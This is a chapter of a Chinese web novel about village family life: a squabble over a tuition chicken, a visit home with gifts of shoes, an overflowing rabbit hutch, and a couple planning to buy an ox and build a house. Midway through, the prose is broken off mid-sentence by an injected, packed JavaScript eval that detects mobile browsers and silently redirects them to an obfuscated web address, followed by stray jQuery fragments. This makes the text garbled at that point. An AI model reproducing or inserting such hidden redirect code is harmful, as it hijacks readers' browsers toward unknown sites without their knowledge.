关于钟宝儿跟着上课这件事,徐氏最初还不大愿意,觉得家里的活儿没人做。
可江衔月留了几次饭,又给孩子们都买了笔墨之后,徐氏就想通了,不仅不再念叨钟宝儿了,还让石蛋也跟着来。
而且,钟宝儿跟着也不只是学字,还学刺绣,她现在的针线活已经很拿得出手了,这也是徐氏比较满意的。
徐氏满意,周氏却不满意。
都是来上课的,徐氏那边啥也没出,他们却要出一只鸡,这是什么道理。
好几次,周氏在江衔月跟前有意无意地提起鸡的事。
那鸡自从被钟二塞进她家鸡笼后,一直好好养着,江衔月几乎每天给它喂食儿的时候,都要忍受周氏的唠叨,实在烦得很,连客套都不想跟她客套。
这天,周氏又倚在江衔月家灶房门口,跟她叨咕鸡的事,江衔月实在不耐烦听周氏絮叨,她抬头一看,天色已近傍晚,便利落道:“二嫂把你的鸡逮走吧。”
周氏呵呵笑着,“这怎么好意思?正好铁蛋铁牛这段时间上学都累了,我这就把鸡杀了给他们补补。我先替他们谢过他五婶儿了啊。”说着,就去鸡笼捉鸡。
钟二刚接住铁蛋和铁牛放学,正好走到门口,看见这一幕,脸都黑了,“你干什么呢!”
周氏惊得一哆嗦,大公鸡差点飞走。
她呵呵笑两声,“五弟妹说铁牛和铁蛋这段时间上学辛苦,人都瘦了,让我把鸡杀了给他们补补呢。”
后头跟进来的钟五挑挑眉,就知道自己媳妇儿肯定是被二嫂闹得烦了,本来还想从中说和两句打个圆场的,现在也不想搭理她,脚下拐个弯进自家灶房。
钟二恨不得给这婆娘两巴掌,“就是杀鸡,咱家鸡笼里那么多鸡不够你宰的,要去老五家笼子里摸?”
真是蠢货,目光短浅,从不为孩子多考虑考虑。她这样,俩孩子还怎么跟着他们五婶儿学认字。
灶房里,江衔月用心炒菜,对外头的动静置若罔闻。
钟五进来,看她面色如常,也不知道是气狠了,还是没生气。
“炒的什么菜,这么香?”他转移话题。
江衔月正把菜铲到盘子里,钟五伸手拈了一块茄子丢进嘴里,“好烫,也好香,你这个茄子做得真好。”
江衔月瞪他一眼,把他的手拍开,“先过的油,又上糖色,能不香吗?快出去看看,别让俩人闹开不好收场。”
钟五笑着出去。
钟二和周氏还在拌嘴,铁蛋和铁牛站在一旁,不知所措。
钟五先过去哄孩子,“铁蛋铁牛饿了吧,你五婶婶做的茄子呢,你们先来五叔屋里吃饭,要不一会儿赶不上晚课了。”
两人三步一回头,踱进灶房,钟五才上前道:“二哥,二嫂别吵。孩子们渐渐长大,总要给他们留点面子才是。你们好了,他们不用挂念你们,念书才能专心。”
说着,去鸡笼里另捉了一只肥鸡硬塞到钟二手里,“这个二哥拿回去给铁蛋铁牛补补身体吧。”
不等钟二推拒,他就指着周氏手里的鸡,道:“这是铁蛋铁牛给我们的孝敬,我们都没跟二哥客气,二哥也不要跟我们客气才是。”
说着,接过周氏手里的鸡塞进鸡笼里。
钟五这番举动,不光钟二惊讶,周氏也惊得合不拢嘴。她喜滋滋的,还没露出个笑来,就被钟二瞪一眼。
钟五已经打过圆场,不想再掺和他们两口子的事,便道:“好了,天色不早,二哥二嫂快回去吃饭吧,铁蛋铁牛就在我们这儿吃,晚会儿上完课再回去。”
不管怎么说,一场风波总算消弭。
没过两天,钟五就把那只束脩鸡宰了,叫上爹娘和几个侄子侄女过来,一起吃了顿丰盛的夕食,这事算是彻底过去。
-----
转眼就是闰六月,江衔月先是和钟五去甘露寺赶庙会,这次卖的除了团扇,还有当季的脆甜的空心李,不用裹冰糖也特别甜的那种。
江衔月吃着李子,带上几双鞋子,往娘家去。
今年闰六月,她给长辈们都做了鞋子,公公婆婆的已经给他们送去。
江留青站在门口翘首以待。
初一在甘露寺的时候闺女女婿就说今天要回来,他就一直盼着,到了今天,就更是期待,一大早他就蹲守在门口。
他还想着要是一会儿人还没到,他就赶着牛车往前接一接。
不等他去牵牛,老远处就有一辆牛车缓缓行来,车上坐的,正是他盼了多时的女儿女婿。
“你们可算来了,累不累,热不热,快进屋来!”
江留青张罗着把牛拴好,喂两把草料,又接过两人卸下来的肉和点心、果子等杂七杂八的东西,让俩人进屋去。
“桌子上有杏儿,都是早上新摘的,也都洗过。你们坐下尝尝,我去倒茶。”
“爹,你别忙活,我们不渴。”
“不忙活,不忙活,水是早上就烧上的,一直在炉子上坐着,倒出来就行。”
钟五看着高兴得坐不下来的岳父也是无奈,跟着他跑前跑后,一丁点活儿愣是被他们忙出了干一番大事的势头。
江留青年纪并不算大,只是独居,日子难免寂寞。
钟五琢磨着,要不等秋天就把房子建起来,这样他们时不时就能接岳父过去住一段时日,省得他一个人在家照顾不好自己。
江衔月给三奶奶和大伯母她们送了鞋子回来,就见她爹正张罗着要宰兔子吃。
兔子是去年钟五送来的那对兔子的崽子,兔子送过来的时候个子就不算太小,在江家养了两个月更是长得又肥又胖,没多久就生了一窝崽子。
自生下第一窝后,两只兔子就没消停过,从去年秋天到现在已经生了六窝,整整二十六只小兔子,占了满满一笼子,江留青每天给他们割草铲屎就要花不少时间。
江留青看见女儿回来,有些不大自在。
本来这兔子是钟五送的,还是自己闺女的生辰礼,他是不打算宰了吃肉的。
只是它们繁衍得太快,他照顾得又很精心,照这个速度下去,估计要不了多久他就照顾不过来。
江留青摸摸鼻子,“咱们今儿就吃这只肥的,你们走的时候也带几只种兔回去,这东西好养活,长大了自家炖肉吃或者拿去卖钱都是好的。”
江衔月点头,“那就炖吧。您要是顾不过来,就给亲戚邻居们分几只,可别累着自己。”
去年钟五刚拎了兔子来时,她四哥就惦记着炖兔子,她当时还舍不得。
真不敢想象,这才多长时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387049|160000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去,去年还玲珑可爱的小白兔,如今已经是几十个崽子的爹娘。
她当时还娇宠怜爱得很,如今却能面不改色地说出把它们炖了的话,可见岁月使人成长。
钟五暗笑,那时候满腔的温情浪漫,哪能想到如今会给岳父造成困扰。
不过,那些卖兔子的小贩精明着,往外卖的基本都是公兔子,想必这一只是无意中混进去的。
“确实有点多,要是再产崽儿,爹就喂两个月,趁兔崽子还小的时候拿去卖,编个精致些的笼子,放到南街市儒学巷那里卖,那巷子学子多,都爱买这个。或者初一在甘露寺卖也行。”
这东西小的时候软萌可爱,比长大了能吃肉的肉兔还好卖。
江留青自无不应。他不好跟闺女说,已经分了好几只给大哥和三婶送去,三婶家的还没养多大,就已经变成红烧兔肉进了江涛的嘴了。
-----
江衔月和钟五也没在江家坳过夜,当天就折回芳草滩。
晚间,钟五打着扇子,跟江衔月商量,“要不咱们先把房子建起来?”
江衔月抿着嘴笑,“你怎么突然提这个了?我刚还想跟你商量呢,你看咱们买头牛怎么样?”
钟五搭眼看她,就看见她清亮的眼睛含笑,“西边那么大一块地,总不能就指望你一个人收拾吧,那得收拾到什么时候去,买头牛,你也少出些力。”
从买下荒地到现在也有两个月,稻子收回来之后,除了中间插空种了晚稻外,钟五就一直在那块地里忙活。
只是那地实在不好收拾,钟五没少费力气,到现在也只是把沿着河边的三四亩地清出来。
江衔月最开始也跟着往那边去,但钟五不让她忙活,去了也是让她在阴凉处歇着。
江衔月也实在不是干活的料,让她种个花摘个果还行,让她一直蹲在地里拔草翻石头,过不了一会儿她就被晒得头晕目眩,做起活来么没效率不说,被钟五逮到还罚这罚那的,她干脆就不逞强了。最多每天多跑两趟,给他送水送吃的,喊他歇一会儿。
钟五看她言笑晏晏的样子,有些控制不住心里的野兽,便用手去遮她的眼,被她长长的睫毛轻轻扫在手心。
“行啊,那就买一头,明天我找爹问问,看哪有合适的。”
钟五说着,又捡起原来的话头,“咱们把房子建起来吧!房子建好,舅哥不在家的时候,也能把爹接过来住。”
江衔月愣了下,然后就笑得不能自已,伸出手去捉他覆在自己眼睛上的手。
“行啊,你别遮我的眼。这可真是颠了个个儿了,竟比我这个亲生的想得还周到。”
钟五顺着她的手劲儿放下手,由她掰着指头玩儿。
“我什么时候不周到了?”
“周到!周到!你一直都周到!是我不周到,行了吧!”
江衔月说着,照着他左手的无名指关节附近轻轻咬了口,留下上下两道浅浅的牙印,像是戒指的勒痕。
江衔月翻来覆去地看看,满意地道:“奖励你的!”
钟五:“……”
谁家奖励是这样的?这是馋肉了?还是馋“肉”了?
扇子被扔到一边,扇柄上坠着的竹绿色搭在床沿上,随着水绿色帐子摆荡的节奏轻轻摇曳……